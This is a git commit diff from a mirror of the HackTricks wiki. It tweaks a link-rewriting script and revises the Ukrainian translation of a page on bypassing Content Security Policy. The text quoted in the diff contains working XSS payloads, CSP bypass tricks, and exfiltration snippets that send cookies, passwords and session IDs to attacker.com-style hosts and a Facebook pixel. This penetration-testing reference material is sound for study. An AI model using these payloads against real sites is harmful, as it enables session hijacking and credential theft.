mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
parent
b657937ae0
commit
485dbe7d99
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
@ -14,6 +14,6 @@
|
||||
- [**SearchCode**](https://searchcode.com/): Пошук коду у мільйонах проектів.
|
||||
|
||||
> [!WARNING]
|
||||
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на зразок `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
||||
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на кшталт `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Заголовки
|
||||
|
||||
CSP може бути застосований або моніторинг за допомогою цих заголовків:
|
||||
CSP може бути застосований або моніторений за допомогою цих заголовків:
|
||||
|
||||
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
|
||||
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
|
||||
@ -40,16 +40,16 @@ object-src 'none';
|
||||
### Директиви
|
||||
|
||||
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
||||
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
||||
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Обмежує URL для фреймів.
|
||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
|
||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
|
||||
- **img-src**: Визначає дозволені джерела для зображень.
|
||||
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
||||
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
||||
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
|
||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
|
||||
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
||||
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
||||
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
||||
@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
|
||||
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
|
||||
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
|
||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з однаковим походженням, але лише надсилає походження, коли запит є крос-доменним.
|
||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є міждоменним.
|
||||
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
|
||||
|
||||
## Небезпечні правила CSP
|
||||
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Робочий payload: `"/><script>alert(1);</script>`
|
||||
Робочий пейлоад: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' через Iframes
|
||||
|
||||
@ -120,7 +120,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
Працюючий вантаж:
|
||||
Працюючий payload:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Працюючий вантаж:
|
||||
Працюючий payload:
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
@ -155,19 +155,19 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
|
||||
|
||||
Робочий корисний вантаж:
|
||||
Робочий вантаж:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
||||
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||
|
||||
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -230,9 +230,9 @@ Angular XSS з імені класу:
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Зловживання JS кодом google recaptcha
|
||||
#### Зловживання JS-кодом google recaptcha
|
||||
|
||||
Згідно з [**цією CTF статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS коду, обходячи CSP:
|
||||
Згідно з [**цією CTF-статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Зловживання www.google.com для відкритого редиректу
|
||||
|
||||
Наступне URL-адреса перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
||||
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
||||
|
||||
### Зловживання з боку третіх осіб
|
||||
|
||||
@ -295,7 +295,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
| Суб'єкт | Дозволений домен | Можливості |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id розробника Facebook атакуючого та видаючи таку кастомну подію:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
На додаток до згаданої редирекції для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||
|
||||
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
||||
```html
|
||||
@ -345,9 +345,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
|
||||
|
||||
Рішення полягає в тому, щоб не трактувати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
|
||||
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
@ -361,14 +361,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити її **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS події
|
||||
|
||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
|
||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених до ланцюга виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
|
||||
|
||||
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
||||
```xml
|
||||
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
|
||||
|
||||
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
|
||||
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на серверній стороні на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
|
||||
|
||||
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдений.
|
||||
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
|
||||
|
||||
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
|
||||
|
||||
### Обхід CSP з висячою розміткою
|
||||
### Обхід CSP з висячим розміткою
|
||||
|
||||
Читати [як тут](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
@ -454,7 +454,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Ін'єкція політики
|
||||
### Впровадження політики
|
||||
|
||||
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
@ -478,7 +478,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
Зверніть увагу на відсутність директиви `'unsafe-inline'`\
|
||||
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з `<iframe`. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час, необхідний для завантаження сторінки**, ви зможете витягти потрібну інформацію.
|
||||
|
||||
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займає **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
|
||||
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займе **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -540,13 +540,13 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
|
||||
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **prototype pollution** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||
|
||||
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
||||
```html
|
||||
@ -554,8 +554,8 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і тому **вразливість стала експлуатованою.**\
|
||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**:
|
||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
|
||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
```
|
||||
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
||||
|
||||
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||
|
||||
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
||||
|
||||
@ -597,7 +597,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
|
||||
### PHP помилки при надмірній кількості параметрів
|
||||
|
||||
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||
|
||||
### Переповнення буфера відповіді PHP
|
||||
|
||||
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати **об'єкт `opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -634,7 +634,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
||||
|
||||
### Location
|
||||
|
||||
Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер атакуючого:
|
||||
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер атакуючого секретну інформацію:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
||||
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -686,7 +686,7 @@ p.createDataChannel("")
|
||||
p.setLocalDescription(await p.createOffer())
|
||||
})()
|
||||
```
|
||||
Інший варіант:
|
||||
Ще один варіант:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
@ -700,7 +700,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
|
||||
Вікно облікових даних надсилає DNS-запит до iconURL, не підлягаючи обмеженням сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
Loading…
x
Reference in New Issue
Block a user